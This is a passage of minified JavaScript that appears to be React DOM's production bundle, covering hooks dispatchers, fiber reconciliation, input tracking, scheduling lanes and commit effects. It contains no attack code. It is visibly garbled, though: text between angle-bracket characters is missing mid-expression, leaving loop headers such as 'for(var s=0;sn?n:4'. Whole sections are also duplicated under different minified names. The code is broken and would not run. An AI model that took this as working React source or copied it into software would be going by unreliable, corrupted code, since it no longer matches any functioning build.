if(a.tag===19&&a.memoizedProps.revealOrder!==void 0){if(a.flags&128)return a}else if(a.child!==null){a.child.return=a,a=a.child;continue}if(a===s)break;for(;a.sibling===null;){if(a.return===null||a.return===s)return null;a=a.return}a.sibling.return=a.return,a=a.sibling}return null}var le=[];function zc(){for(var s=0;sn?n:4,s(!0);var l=pe.transition;pe.transition={};try{s(!1),a()}finally{N=n,pe.transition=l}}function Ai(){return vs().memoizedState}function Id(s,a,n){var l=Ca(s);if(n={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null},bi(s))wi(a,n);else if(n=$r(s,a,n,l),n!==null){var p=hs();Ks(n,s,l,p),ki(n,a,l)}}function Cd(s,a,n){var l=Ca(s),p={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null};if(bi(s))wi(a,p);else{var e=s.alternate;if(s.lanes===0&&(e===null||e.lanes===0)&&(e=a.lastRenderedReducer,e!==null))try{var c=a.lastRenderedState,t=e(c,n);if(p.hasEagerState=!0,p.eagerState=t,Ss(t,c)){var o=a.interleaved;o===null?(p.next=p,Sc(a)):(p.next=o.next,o.next=p),a.interleaved=p;return}}catch{}finally{}n=$r(s,a,p,l),n!==null&&(p=hs(),Ks(n,s,l,p),ki(n,a,l))}}function bi(s){var a=s.alternate;return s===E||a!==null&&a===E}function wi(s,a){Kn=tp=!0;var n=s.pending;n===null?a.next=a:(a.next=n.next,n.next=a),s.pending=a}function ki(s,a,n){if(n&4194240){var l=a.lanes;l&=s.pendingLanes,n|=l,a.lanes=n,Zc(s,n)}}var op={readContext:Vs,useCallback:ps,useContext:ps,useEffect:ps,useImperativeHandle:ps,useInsertionEffect:ps,useLayoutEffect:ps,useMemo:ps,useReducer:ps,useRef:ps,useState:ps,useDebugValue:ps,useDeferredValue:ps,useTransition:ps,useMutableSource:ps,useSyncExternalStore:ps,useId:ps,unstable_isNewReconciler:!1},jd={readContext:Vs,useCallback:function(s,a){return Ms().memoizedState=[s,a===void 0?null:a],s},useContext:Vs,useEffect:so,useImperativeHandle:function(s,a,n){return n=n!=null?n.concat([s]):null,xl(4194308,4,Ci.bind(null,a,s),n)},useLayoutEffect:function(s,a){return xl(4194308,4,s,a)},useInsertionEffect:function(s,a){return xl(4,2,s,a)},useMemo:function(s,a){var n=Ms();return a=a===void 0?null:a,s=s(),n.memoizedState=[s,a],s},useReducer:function(s,a,n){var l=Ms();return a=n!==void 0?n(a):a,l.memoizedState=l.baseState=a,s={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:s,lastRenderedState:a},l.queue=s,s=s.dispatch=Id.bind(null,E,s),[l.memoizedState,s]},useRef:function(s){var a=Ms();return s={current:s},a.memoizedState=s},useState:qt,useDebugValue:Uc,useDeferredValue:function(s){return Ms().memoizedState=s},useTransition:function(){var s=qt(!1),a=s[0];return s=dd.bind(null,s[1]),Ms().memoizedState=s,[a,s]},useMutableSource:function(){},useSyncExternalStore:function(s,a,n){var l=E,p=Ms();if(J){if(n===void 0)throw Error(w(407));n=n()}else{if(n=a(),ss===null)throw Error(w(349));Ha&30||ti(l,a,n)}p.memoizedState=n;var e={value:n,getSnapshot:a};return p.queue=e,so(ri.bind(null,l,e,s),[s]),l.flags|=2048,nl(9,oi.bind(null,l,e,n,a),void 0,null),n},useId:function(){var s=Ms(),a=ss.identifierPrefix;if(J){var n=Us,l=_s;n=(l&~(1<<32-Ns(l)-1)).toString(32)+n,a=":"+a+"R"+n,n=sl++,0")&&(o=o.replace("",s.displayName)),o}while(1<=c&&0<=t);break}}}finally{Jp=!1,Error.prepareStackTrace=n}return(s=s?s.displayName||s.name:"")?fn(s):""}function Uh(s){switch(s.tag){case 5:return fn(s.type);case 16:return fn("Lazy");case 13:return fn("Suspense");case 19:return fn("SuspenseList");case 0:case 2:case 15:return s=zp(s.type,!1),s;case 11:return s=zp(s.type.render,!1),s;case 1:return s=zp(s.type,!0),s;default:return""}}function Ae(s){if(s==null)return null;if(typeof s=="function")return s.displayName||s.name||null;if(typeof s=="string")return s;switch(s){case za:return"Fragment";case Ja:return"Portal";case ue:return"Profiler";case mc:return"StrictMode";case ye:return"Suspense";case me:return"SuspenseList"}if(typeof s=="object")switch(s.$$typeof){case nr:return(s.displayName||"Context")+".Consumer";case ar:return(s._context.displayName||"Context")+".Provider";case Ac:var a=s.render;return s=s.displayName,s||(s=a.displayName||a.name||"",s=s!==""?"ForwardRef("+s+")":"ForwardRef"),s;case bc:return a=s.displayName||null,a!==null?a:Ae(s.type)||"Memo";case na:a=s._payload,s=s._init;try{return Ae(s(a))}catch{}}return null}function Th(s){var a=s.type;switch(s.tag){case 24:return"Cache";case 9:return(a.displayName||"Context")+".Consumer";case 10:return(a._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return s=a.render,s=s.displayName||s.name||"",a.displayName||(s!==""?"ForwardRef("+s+")":"ForwardRef");case 7:return"Fragment";case 5:return a;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return Ae(a);case 8:return a===mc?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof a=="function")return a.displayName||a.name||null;if(typeof a=="string")return a}return null}function ua(s){switch(typeof s){case"boolean":case"number":case"string":case"undefined":return s;case"object":return s;default:return""}}function pr(s){var a=s.type;return(s=s.nodeName)&&s.toLowerCase()==="input"&&(a==="checkbox"||a==="radio")}function Dh(s){var a=pr(s)?"checked":"value",n=Object.getOwnPropertyDescriptor(s.constructor.prototype,a),l=""+s[a];if(!s.hasOwnProperty(a)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var p=n.get,e=n.set;return Object.defineProperty(s,a,{configurable:!0,get:function(){return p.call(this)},set:function(c){l=""+c,e.call(this,c)}}),Object.defineProperty(s,a,{enumerable:n.enumerable}),{getValue:function(){return l},setValue:function(c){l=""+c},stopTracking:function(){s._valueTracker=null,delete s[a]}}}}function jl(s){s._valueTracker||(s._valueTracker=Dh(s))}function er(s){if(!s)return!1;var a=s._valueTracker;if(!a)return!0;var n=a.getValue(),l="";return s&&(l=pr(s)?s.checked?"true":"false":s.value),s=l,s!==n?(a.setValue(s),!0):!1}function Ll(s){if(s=s||(typeof document<"u"?document:void 0),typeof s>"u")return null;try{return s.activeElement||s.body}catch{return s.body}}function be(s,a){var n=a.checked;return L({},a,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??s._wrapperState.initialChecked})}function ut(s,a){var n=a.defaultValue==null?"":a.defaultValue,l=a.checked!=null?a.checked:a.defaultChecked;n=ua(a.value!=null?a.value:n),s._wrapperState={initialChecked:l,initialValue:n,controlled:a.type==="checkbox"||a.type==="radio"?a.checked!=null:a.value!=null}}function cr(s,a){a=a.checked,a!=null&&yc(s,"checked",a,!1)}function we(s,a){cr(s,a);var n=ua(a.value),l=a.type;if(n!=null)l==="number"?(n===0&&s.value===""||s.value!=n)&&(s.value=""+n):s.value!==""+n&&(s.value=""+n);else if(l==="submit"||l==="reset"){s.removeAttribute("value");return}a.hasOwnProperty("value")?ke(s,a.type,n):a.hasOwnProperty("defaultValue")&&ke(s,a.type,ua(a.defaultValue)),a.checked==null&&a.defaultChecked!=null&&(s.defaultChecked=!!a.defaultChecked)}function yt(s,a,n){if(a.hasOwnProperty("value")||a.hasOwnProperty("defaultValue")){var l=a.type;if(!(l!=="submit"&&l!=="reset"||a.value!==void 0&&a.value!==null))return;a=""+s._wrapperState.initialValue,n||a===s.value||(s.value=a),s.defaultValue=a}n=s.name,n!==""&&(s.name=""),s.defaultChecked=!!s._wrapperState.initialChecked,n!==""&&(s.name=n)}function ke(s,a,n){(a!=="number"||Ll(s.ownerDocument)!==s)&&(n==null?s.defaultValue=""+s._wrapperState.initialValue:s.defaultValue!==""+n&&(s.defaultValue=""+n))}var Vn=Array.isArray;function qa(s,a,n,l){if(s=s.options,a){a={};for(var p=0;p"+a.valueOf().toString()+"",a=ul.firstChild;s.firstChild;)s.removeChild(s.firstChild);for(;a.firstChild;)s.appendChild(a.firstChild)}});function zn(s,a){if(a){var n=s.firstChild;if(n&&n===s.lastChild&&n.nodeType===3){n.nodeValue=a;return}}s.textContent=a}var Rn={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},Oh=["Webkit","ms","Moz","O"];Object.keys(Rn).forEach(function(s){Oh.forEach(function(a){a=a+s.charAt(0).toUpperCase()+s.substring(1),Rn[a]=Rn[s]})});function ir(s,a,n){return a==null||typeof a=="boolean"||a===""?"":n||typeof a!="number"||a===0||Rn.hasOwnProperty(s)&&Rn[s]?(""+a).trim():a+"px"}function hr(s,a){s=s.style;for(var n in a)if(a.hasOwnProperty(n)){var l=n.indexOf("--")===0,p=ir(n,a[n],l);n==="float"&&(n="cssFloat"),l?s.setProperty(n,p):s[n]=p}}var Ph=L({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function Be(s,a){if(a){if(Ph[s]&&(a.children!=null||a.dangerouslySetInnerHTML!=null))throw Error(w(137,s));if(a.dangerouslySetInnerHTML!=null){if(a.children!=null)throw Error(w(60));if(typeof a.dangerouslySetInnerHTML!="object"||!("__html"in a.dangerouslySetInnerHTML))throw Error(w(61))}if(a.style!=null&&typeof a.style!="object")throw Error(w(62))}}function Ge(s,a){if(s.indexOf("-")===-1)return typeof a.is=="string";switch(s){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var fe=null;function wc(s){return s=s.target||s.srcElement||window,s.correspondingUseElement&&(s=s.correspondingUseElement),s.nodeType===3?s.parentNode:s}var Ve=null,sn=null,an=null;function bt(s){if(s=rl(s)){if(typeof Ve!="function")throw Error(w(280));var a=s.stateNode;a&&(a=bp(a),Ve(s.stateNode,s.type,a))}}function gr(s){sn?an?an.push(s):an=[s]:sn=s}function dr(){if(sn){var s=sn,a=an;if(an=sn=null,bt(s),a)for(s=0;s>>=0,s===0?32:31-(og(s)/rg|0)|0}var yl=64,ml=4194304;function vn(s){switch(s&-s){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return s&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return s&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return s}}function Tl(s,a){var n=s.pendingLanes;if(n===0)return 0;var l=0,p=s.suspendedLanes,e=s.pingedLanes,c=n&268435455;if(c!==0){var t=c&~p;t!==0?l=vn(t):(e&=c,e!==0&&(l=vn(e)))}else c=n&~p,c!==0?l=vn(c):e!==0&&(l=vn(e));if(l===0)return 0;if(a!==0&&a!==l&&!(a&p)&&(p=l&-l,e=a&-a,p>=e||p===16&&(e&4194240)!==0))return a;if(l&4&&(l|=n&16),a=s.entangledLanes,a!==0)for(s=s.entanglements,a&=l;0n;n++)a.push(s);return a}function tl(s,a,n){s.pendingLanes|=a,a!==536870912&&(s.suspendedLanes=0,s.pingedLanes=0),s=s.eventTimes,a=31-Ns(a),s[a]=n}function dg(s,a){var n=s.pendingLanes&~a;s.pendingLanes=a,s.suspendedLanes=0,s.pingedLanes=0,s.expiredLanes&=a,s.mutableReadLanes&=a,s.entangledLanes&=a,a=s.entanglements;var l=s.eventTimes;for(s=s.expirationTimes;0=Hn),vt=" ",Yt=!1;function Xr(s,a){switch(s){case"keyup":return Jg.indexOf(a.keyCode)!==-1;case"keydown":return a.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Hr(s){return s=s.detail,typeof s=="object"&&"data"in s?s.data:null}var Ea=!1;function Eg(s,a){switch(s){case"compositionend":return Hr(a);case"keypress":return a.which!==32?null:(Yt=!0,vt);case"textInput":return s=a.data,s===vt&&Yt?null:s;default:return null}}function Lg(s,a){if(Ea)return s==="compositionend"||!vc&&Xr(s,a)?(s=Yr(),Fl=Gc=ca=null,Ea=!1,s):null;switch(s){case"paste":return null;case"keypress":if(!(a.ctrlKey||a.altKey||a.metaKey)||a.ctrlKey&&a.altKey){if(a.char&&1=a)return{node:n,offset:a-s};s=l}s:{for(;n;){if(n.nextSibling){n=n.nextSibling;break s}n=n.parentNode}n=void 0}n=Ft(n)}}function Sr(s,a){return s&&a?s===a?!0:s&&s.nodeType===3?!1:a&&a.nodeType===3?Sr(s,a.parentNode):"contains"in s?s.contains(a):s.compareDocumentPosition?!!(s.compareDocumentPosition(a)&16):!1:!1}function xr(){for(var s=window,a=Ll();a instanceof s.HTMLIFrameElement;){try{var n=typeof a.contentWindow.location.href=="string"}catch{n=!1}if(n)s=a.contentWindow;else break;a=Ll(s.document)}return a}function Yc(s){var a=s&&s.nodeName&&s.nodeName.toLowerCase();return a&&(a==="input"&&(s.type==="text"||s.type==="search"||s.type==="tel"||s.type==="url"||s.type==="password")||a==="textarea"||s.contentEditable==="true")}function qg(s){var a=xr(),n=s.focusedElem,l=s.selectionRange;if(a!==n&&n&&n.ownerDocument&&Sr(n.ownerDocument.documentElement,n)){if(l!==null&&Yc(n)){if(a=l.start,s=l.end,s===void 0&&(s=a),"selectionStart"in n)n.selectionStart=a,n.selectionEnd=Math.min(s,n.value.length);else if(s=(a=n.ownerDocument||document)&&a.defaultView||window,s.getSelection){s=s.getSelection();var p=n.textContent.length,e=Math.min(l.start,p);l=l.end===void 0?e:Math.min(l.end,p),!s.extend&&e>l&&(p=l,l=e,e=p),p=Nt(n,e);var c=Nt(n,l);p&&c&&(s.rangeCount!==1||s.anchorNode!==p.node||s.anchorOffset!==p.offset||s.focusNode!==c.node||s.focusOffset!==c.offset)&&(a=a.createRange(),a.setStart(p.node,p.offset),s.removeAllRanges(),e>l?(s.addRange(a),s.extend(c.node,c.offset)):(a.setEnd(c.node,c.offset),s.addRange(a)))}}for(a=[],s=n;s=s.parentNode;)s.nodeType===1&&a.push({element:s,left:s.scrollLeft,top:s.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,La=null,Fe=null,Nn=null,Ne=!1;function Kt(s,a,n){var l=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;Ne||La==null||La!==Ll(l)||(l=La,"selectionStart"in l&&Yc(l)?l={start:l.selectionStart,end:l.selectionEnd}:(l=(l.ownerDocument&&l.ownerDocument.defaultView||window).getSelection(),l={anchorNode:l.anchorNode,anchorOffset:l.anchorOffset,focusNode:l.focusNode,focusOffset:l.focusOffset}),Nn&&Tn(Nn,l)||(Nn=l,l=Pl(Fe,"onSelect"),0Ua||(s.current=ze[Ua],ze[Ua]=null,Ua--)}function K(s,a){Ua++,ze[Ua]=s.current,s.current=a}var ya={},os=Aa(ya),js=Aa(!1),Ra=ya;function cn(s,a){var n=s.type.contextTypes;if(!n)return ya;var l=s.stateNode;if(l&&l.__reactInternalMemoizedUnmaskedChildContext===a)return l.__reactInternalMemoizedMaskedChildContext;var p={},e;for(e in n)p[e]=a[e];return l&&(s=s.stateNode,s.__reactInternalMemoizedUnmaskedChildContext=a,s.__reactInternalMemoizedMaskedChildContext=p),p}function us(s){return s=s.childContextTypes,s!=null}function ql(){x(js),x(os)}function Lt(s,a,n){if(os.current!==ya)throw Error(w(168));K(os,a),K(js,n)}function Tr(s,a,n){var l=s.stateNode;if(a=a.childContextTypes,typeof l.getChildContext!="function")return n;l=l.getChildContext();for(var p in l)if(!(p in a))throw Error(w(108,Th(s)||"Unknown",p));return L({},n,l)}function sp(s){return s=(s=s.stateNode)&&s.__reactInternalMemoizedMergedChildContext||ya,Ra=os.current,K(os,s),K(js,js.current),!0}function Qt(s,a,n){var l=s.stateNode;if(!l)throw Error(w(169));n?(s=Tr(s,a,Ra),l.__reactInternalMemoizedMergedChildContext=s,x(js),x(os),K(os,s)):x(js),K(js,n)}var Qs=null,wp=!1,ne=!1;function Dr(s){Qs===null?Qs=[s]:Qs.push(s)}function hd(s){wp=!0,Dr(s)}function ba(){if(!ne&&Qs!==null){ne=!0;var s=0,a=N;try{var n=Qs;for(N=1;s>=c,p-=c,_s=1<<32-Ns(a)+p|n<v?(M=G,G=null):M=G.sibling;var H=j(g,G,C[v],m);if(H===null){G===null&&(G=M);break}s&&G&&H.alternate===null&&a(g,G),h=e(H,h,v),k===null?Z=H:k.sibling=H,k=H,G=M}if(v===C.length)return n(g,G),J&&Za(g,v),Z;if(G===null){for(;vv?(M=G,G=null):M=G.sibling;var Ys=j(g,G,H.value,m);if(Ys===null){G===null&&(G=M);break}s&&G&&Ys.alternate===null&&a(g,G),h=e(Ys,h,v),k===null?Z=Ys:k.sibling=Ys,k=Ys,G=M}if(H.done)return n(g,G),J&&Za(g,v),Z;if(G===null){for(;!H.done;v++,H=C.next())H=I(g,H.value,m),H!==null&&(h=e(H,h,v),k===null?Z=H:k.sibling=H,k=H);return J&&Za(g,v),Z}for(G=l(g,G);!H.done;v++,H=C.next())H=y(G,g,v,H.value,m),H!==null&&(s&&H.alternate!==null&&G.delete(H.key===null?v:H.key),h=e(H,h,v),k===null?Z=H:k.sibling=H,k=H);return s&&G.forEach(function(yn){return a(g,yn)}),J&&Za(g,v),Z}function B(g,h,C,m){if(typeof C=="object"&&C!==null&&C.type===za&&C.key===null&&(C=C.props.children),typeof C=="object"&&C!==null){switch(C.$$typeof){case Cl:s:{for(var Z=C.key,k=h;k!==null;){if(k.key===Z){if(Z=C.type,Z===za){if(k.tag===7){n(g,k.sibling),h=p(k,C.props.children),h.return=g,g=h;break s}}else if(k.elementType===Z||typeof Z=="object"&&Z!==null&&Z.$$typeof===na&&$t(Z)===k.type){n(g,k.sibling),h=p(k,C.props),h.ref=Wn(g,k,C),h.return=g,g=h;break s}n(g,k);break}else a(g,k);k=k.sibling}C.type===za?(h=va(C.props.children,g.mode,m,C.key),h.return=g,g=h):(m=El(C.type,C.key,C.props,null,g.mode,m),m.ref=Wn(g,h,C),m.return=g,g=m)}return c(g);case Ja:s:{for(k=C.key;h!==null;){if(h.key===k)if(h.tag===4&&h.stateNode.containerInfo===C.containerInfo&&h.stateNode.implementation===C.implementation){n(g,h.sibling),h=p(h,C.children||[]),h.return=g,g=h;break s}else{n(g,h);break}else a(g,h);h=h.sibling}h=ie(C,g.mode,m),h.return=g,g=h}return c(g);case na:return k=C._init,B(g,h,k(C._payload),m)}if(Vn(C))return A(g,h,C,m);if(An(C))return b(g,h,C,m);Bl(g,C)}return typeof C=="string"&&C!==""||typeof C=="number"?(C=""+C,h!==null&&h.tag===6?(n(g,h.sibling),h=p(h,C),h.return=g,g=h):(n(g,h),h=re(C,g.mode,m),h.return=g,g=h),c(g)):n(g,h)}return B}var on=li(!0),pi=li(!1),il={},Es=Aa(il),$n=Aa(il),qn=Aa(il);function fa(s){if(s===il)throw Error(w(174));return s}function Mc(s,a){switch(K(qn,a),K($n,s),K(Es,il),s=a.nodeType,s){case 9:case 11:a=(a=a.documentElement)?a.namespaceURI:We(null,"");break;default:s=s===8?a.parentNode:a,a=s.namespaceURI||null,s=s.tagName,a=We(a,s)}x(Es),K(Es,a)}function rn(){x(Es),x($n),x(qn)}function ei(s){fa(qn.current);var a=fa(Es.current),n=We(a,s.type);a!==n&&(K($n,s),K(Es,n))}function Jc(s){$n.current===s&&(x(Es),x($n))}var z=Aa(0);function cp(s){for(var a=s;a!==null;){if(a.tag===13){var n=a.memoizedState;if(n!==null&&(n=n.dehydrated,n===null||n.data==="$?"||n.data==="$!"))return a}else if(a.tag===19&&a.memoizedProps.revealOrder!==void 0){if(a.flags&128)return a}else if(a.child!==null){a.child.return=a,a=a.child;continue}if(a===s)break;for(;a.sibling===null;){if(a.return===null||a.return===s)return null;a=a.return}a.sibling.return=a.return,a=a.sibling}return null}var le=[];function zc(){for(var s=0;sn?n:4,s(!0);var l=pe.transition;pe.transition={};try{s(!1),a()}finally{N=n,pe.transition=l}}function bi(){return vs().memoizedState}function Cd(s,a,n){var l=Ca(s);if(n={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null},wi(s))ki(a,n);else if(n=qr(s,a,n,l),n!==null){var p=hs();Ks(n,s,l,p),Zi(n,a,l)}}function jd(s,a,n){var l=Ca(s),p={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null};if(wi(s))ki(a,p);else{var e=s.alternate;if(s.lanes===0&&(e===null||e.lanes===0)&&(e=a.lastRenderedReducer,e!==null))try{var c=a.lastRenderedState,t=e(c,n);if(p.hasEagerState=!0,p.eagerState=t,Ss(t,c)){var o=a.interleaved;o===null?(p.next=p,Sc(a)):(p.next=o.next,o.next=p),a.interleaved=p;return}}catch{}finally{}n=qr(s,a,p,l),n!==null&&(p=hs(),Ks(n,s,l,p),Zi(n,a,l))}}function wi(s){var a=s.alternate;return s===E||a!==null&&a===E}function ki(s,a){Kn=tp=!0;var n=s.pending;n===null?a.next=a:(a.next=n.next,n.next=a),s.pending=a}function Zi(s,a,n){if(n&4194240){var l=a.lanes;l&=s.pendingLanes,n|=l,a.lanes=n,Zc(s,n)}}var op={readContext:Vs,useCallback:ps,useContext:ps,useEffect:ps,useImperativeHandle:ps,useInsertionEffect:ps,useLayoutEffect:ps,useMemo:ps,useReducer:ps,useRef:ps,useState:ps,useDebugValue:ps,useDeferredValue:ps,useTransition:ps,useMutableSource:ps,useSyncExternalStore:ps,useId:ps,unstable_isNewReconciler:!1},ud={readContext:Vs,useCallback:function(s,a){return Ms().memoizedState=[s,a===void 0?null:a],s},useContext:Vs,useEffect:so,useImperativeHandle:function(s,a,n){return n=n!=null?n.concat([s]):null,xl(4194308,4,ji.bind(null,a,s),n)},useLayoutEffect:function(s,a){return xl(4194308,4,s,a)},useInsertionEffect:function(s,a){return xl(4,2,s,a)},useMemo:function(s,a){var n=Ms();return a=a===void 0?null:a,s=s(),n.memoizedState=[s,a],s},useReducer:function(s,a,n){var l=Ms();return a=n!==void 0?n(a):a,l.memoizedState=l.baseState=a,s={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:s,lastRenderedState:a},l.queue=s,s=s.dispatch=Cd.bind(null,E,s),[l.memoizedState,s]},useRef:function(s){var a=Ms();return s={current:s},a.memoizedState=s},useState:qt,useDebugValue:Uc,useDeferredValue:function(s){return Ms().memoizedState=s},useTransition:function(){var s=qt(!1),a=s[0];return s=Id.bind(null,s[1]),Ms().memoizedState=s,[a,s]},useMutableSource:function(){},useSyncExternalStore:function(s,a,n){var l=E,p=Ms();if(J){if(n===void 0)throw Error(w(407));n=n()}else{if(n=a(),ss===null)throw Error(w(349));Ha&30||oi(l,a,n)}p.memoizedState=n;var e={value:n,getSnapshot:a};return p.queue=e,so(ii.bind(null,l,e,s),[s]),l.flags|=2048,nl(9,ri.bind(null,l,e,n,a),void 0,null),n},useId:function(){var s=Ms(),a=ss.identifierPrefix;if(J){var n=Us,l=_s;n=(l&~(1<<32-Ns(l)-1)).toString(32)+n,a=":"+a+"R"+n,n=sl++,0<\/script>",s=s.removeChild(s.firstChild)):typeof l.is=="string"?s=c.createElement(n,{is:l.is}):(s=c.createElement(n),n==="select"&&(c=s,l.multiple?c.multiple=!0:l.size&&(c.size=l.size))):s=c.createElementNS(s,n),s[Js]=a,s[Pn]=l,Ri(s,a,!1,!1),a.stateNode=s;s:{switch(c=Ge(n,l),n){case"dialog":S("cancel",s),S("close",s),p=l;break;case"iframe":case"object":case"embed":S("load",s),p=l;break;case"video":case"audio":for(p=0;pgn&&(a.flags|=128,l=!0,Bn(e,!1),a.lanes=4194304)}else{if(!l)if(s=cp(c),s!==null){if(a.flags|=128,l=!0,n=s.updateQueue,n!==null&&(a.updateQueue=n,a.flags|=4),Bn(e,!0),e.tail===null&&e.tailMode==="hidden"&&!c.alternate&&!J)return es(a),null}else 2*U()-e.renderingStartTime>gn&&n!==1073741824&&(a.flags|=128,l=!0,Bn(e,!1),a.lanes=4194304);e.isBackwards?(c.sibling=a.child,a.child=c):(n=e.last,n!==null?n.sibling=c:a.child=c,e.last=c)}return e.tail!==null?(a=e.tail,e.rendering=a,e.tail=a.sibling,e.renderingStartTime=U(),a.sibling=null,n=z.current,K(z,l?n&1|2:n&1),a):(es(a),null);case 22:case 23:return qc(),l=a.memoizedState!==null,s!==null&&s.memoizedState!==null!==l&&(a.flags|=8192),l&&a.mode&1?ms&1073741824&&(es(a),a.subtreeFlags&6&&(a.flags|=8192)):es(a),null;case 24:return null;case 25:return null}throw Error(w(156,a.tag))}function Zd(s,a){switch(Xc(a),a.tag){case 1:return us(a.type)&&ql(),s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 3:return rn(),x(js),x(os),zc(),s=a.flags,s&65536&&!(s&128)?(a.flags=s&-65537|128,a):null;case 5:return Jc(a),null;case 13:if(x(z),s=a.memoizedState,s!==null&&s.dehydrated!==null){if(a.alternate===null)throw Error(w(340));tn()}return s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 19:return x(z),null;case 4:return rn(),null;case 10:return Kc(a.type._context),null;case 22:case 23:return qc(),null;case 24:return null;default:return null}}var fl=!1,ts=!1,Wd=typeof WeakSet=="function"?WeakSet:Set,f=null;function Pa(s,a){var n=s.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(l){Q(s,a,l)}else n.current=null}function sc(s,a,n){try{n()}catch(l){Q(s,a,l)}}var ro=!1;function Bd(s,a){if(Ke=Dl,s=Sr(),Yc(s)){if("selectionStart"in s)var n={start:s.selectionStart,end:s.selectionEnd};else s:{n=(n=s.ownerDocument)&&n.defaultView||window;var l=n.getSelection&&n.getSelection();if(l&&l.rangeCount!==0){n=l.anchorNode;var p=l.anchorOffset,e=l.focusNode;l=l.focusOffset;try{n.nodeType,e.nodeType}catch{n=null;break s}var c=0,t=-1,o=-1,r=0,d=0,I=s,j=null;a:for(;;){for(var y;I!==n||p!==0&&I.nodeType!==3||(t=c+p),I!==e||l!==0&&I.nodeType!==3||(o=c+l),I.nodeType===3&&(c+=I.nodeValue.length),(y=I.firstChild)!==null;)j=I,I=y;for(;;){if(I===s)break a;if(j===n&&++r===p&&(t=c),j===e&&++d===l&&(o=c),(y=I.nextSibling)!==null)break;I=j,j=I.parentNode}I=y}n=t===-1||o===-1?null:{start:t,end:o}}else n=null}n=n||{start:0,end:0}}else n=null;for(Se={focusedElem:s,selectionRange:n},Dl=!1,f=a;f!==null;)if(a=f,s=a.child,(a.subtreeFlags&1028)!==0&&s!==null)s.return=a,f=s;else for(;f!==null;){a=f;try{var A=a.alternate;if(a.flags&1024)switch(a.tag){case 0:case 11:case 15:break;case 1:if(A!==null){var b=A.memoizedProps,B=A.memoizedState,g=a.stateNode,h=g.getSnapshotBeforeUpdate(a.elementType===a.type?b:Xs(a.type,b),B);g.__reactInternalSnapshotBeforeUpdate=h}break;case 3:var C=a.stateNode.containerInfo;C.nodeType===1?C.textContent="":C.nodeType===9&&C.documentElement&&C.removeChild(C.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(w(163))}}catch(m){Q(a,a.return,m)}if(s=a.sibling,s!==null){s.return=a.return,f=s;break}f=a.return}return A=ro,ro=!1,A}function Sn(s,a,n){var l=a.updateQueue;if(l=l!==null?l.lastEffect:null,l!==null){var p=l=l.next;do{if((p.tag&s)===s){var e=p.destroy;p.destroy=void 0,e!==void 0&&sc(a,n,e)}p=p.next}while(p!==l)}}function Wp(s,a){if(a=a.updateQueue,a=a!==null?a.lastEffect:null,a!==null){var n=a=a.next;do{if((n.tag&s)===s){var l=n.create;n.destroy=l()}n=n.next}while(n!==a)}}function ac(s){var a=s.ref;if(a!==null){var n=s.stateNode;switch(s.tag){case 5:s=n;break;default:s=n}typeof a=="function"?a(s):a.current=s}}function Fi(s){var a=s.alternate;a!==null&&(s.alternate=null,Fi(a)),s.child=null,s.deletions=null,s.sibling=null,s.tag===5&&(a=s.stateNode,a!==null&&(delete a[Js],delete a[Pn],delete a[Je],delete a[od],delete a[rd])),s.stateNode=null,s.return=null,s.dependencies=null,s.memoizedProps=null,s.memoizedState=null,s.pendingProps=null,s.stateNode=null,s.updateQueue=null}function Ni(s){return s.tag===5||s.tag===3||s.tag===4}function io(s){s:for(;;){for(;s.sibling===null;){if(s.return===null||Ni(s.return))return null;s=s.return}for(s.sibling.return=s.return,s=s.sibling;s.tag!==5&&s.tag!==6&&s.tag!==18;){if(s.flags&2||s.child===null||s.tag===4)continue s;s.child.return=s,s=s.child}if(!(s.flags&2))return s.stateNode}}function nc(s,a,n){var 